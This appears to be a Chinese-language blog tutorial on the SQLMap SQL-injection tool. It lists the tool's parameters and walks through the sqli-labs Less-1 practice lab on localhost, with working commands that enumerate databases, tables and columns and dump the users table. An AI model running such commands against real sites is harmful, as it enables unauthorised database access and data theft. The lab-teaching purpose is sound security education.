一、SQLMap介紹
SQLMap 是一款強大的開源自動化 SQL 注入工具,用于檢測和利用 Web 應用程序中的 SQL 注入漏洞。其工作原理是SQLMap 通過向目標 URL 發送帶有特殊構造的 SQL 語句的請求,觀察目標應用程序的響應,來判斷是否存在 SQL 注入漏洞。例如,它會嘗試在 URL 參數中添加單引號、注釋符號等特殊字符,觀察應用程序是否返回異常信息。如果發現存在漏洞,SQLMap 會根據漏洞類型和目標數據庫的特點,構造合適的 SQL 注入語句,以獲取所需的信息或執行命令。例如,通過聯合查詢注入,可以將惡意查詢與原查詢合并,從數據庫中獲取額外的數據。
SQLMap工具地址:
官方網站:sqlmap: automatic SQL injection and database takeover toolhttps://sqlmap.org/
?GitHub項目地址:https://github.com/sqlmapproject/sqlmap
二、SQLMap使用前言
在使用SQLMap這款工具前,需提前安裝好python編譯工具,本次使用結合sqli-labs-master靶場進行演示
注意:在SQLMap安裝目錄下使用,如
紅色框住部分輸入cmd,然后點擊回車,進入命令行界面
三、SQLMap基本參數
可輸入sqlmap.py --help 或 sqlmap/py -h 進行指令查看
-d ?? ??? ?指定直接數據庫連接得連接字符串,直接連接到數據庫。
-u ?? ??? ?指定URL目標
-I ?? ??? ?從Burp或WebScarab代理得日志中解析目標
-m ?? ??? ?掃描文本文件中給出得多個目標,批量掃描
-r ?? ??? ?從文本中加載HTTP請求。 用 * 標記注入位置
-g ?? ??? ?將Google Dork得結果作為目標URLh
-a ?? ??? ??? ??? ?獲取所有信息
-current-user ?? ?獲取DBMS當前用戶
--current-db ??? ?獲取DBMS當前數據庫
--hostname ?? ??? ?獲取DBMS當前主機名
--is-dba ?? ??? ?檢測當前用戶是否為管理員用戶
--users ?? ??? ?查詢DBMS用戶
--passwords ?? ?查詢DBMS用戶密碼hash
--dbs ?? ??? ??? ?查詢DBMS數據庫
--tables ?? ??? ?查詢DBMS數據庫中得表
--columns ?? ??? ?查詢DBMS數據庫表得列名
--dump ?? ??? ??? ?查詢轉儲DBMS數據庫表
--dump-all ?? ??? ?轉儲DBMS所有數據庫表
-D db_name ?? ??? ?指定要求枚舉的DBMS數據庫名
-T table_name ?? ?指定要枚舉得DBMS表
-C column_name ?? ?指定要枚舉得DBMS列
--batch ?? ??? ?從不詢問用戶輸入,使用所有默認配置
常用語法:
查看所有數據庫:python sqlmap.py -u “url地址/?id=1” --dbs --batch
查看某個數據庫所有表名:python sqlmap.py -u "URL地址" -D 數據庫名 --tables
查看某個數據庫下某張表下所有字段名:python sqlmap.py -u "URL地址" -D 數據庫 -T 表名 --columns
四、邁入實踐,以sqli-labs-master靶場第一關為例:
1、打開sqli-labs-master中第一關Less-1
2、輸入python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --dbs
3、成功獲取所有數據庫庫名
4、獲取數據庫security下所有的表名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security --tables
5、獲取數據庫security下users表名下所有字段名
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
6、獲取數據庫security下users表名下所有字段名的數據
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --dump
注:--dump命令請謹慎使用,切勿違法使用,使用--dump參數后,將會在計算機本地生成一個.csv表格數據存儲,里面包含某個數據庫某張表下所有字段的具體內容
五、拓展使用,以sqli-labs-master靶場為例子:
查詢當前數據庫:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-db
查詢當前數據庫用戶:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --current-user
查詢當前數據庫版本信息:python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -banner
那么SQLMap這款工具簡單介紹這里,SQLMap工具十分強大,以上只是部分用法,更多詳細用法可結合官方操作文檔去使用。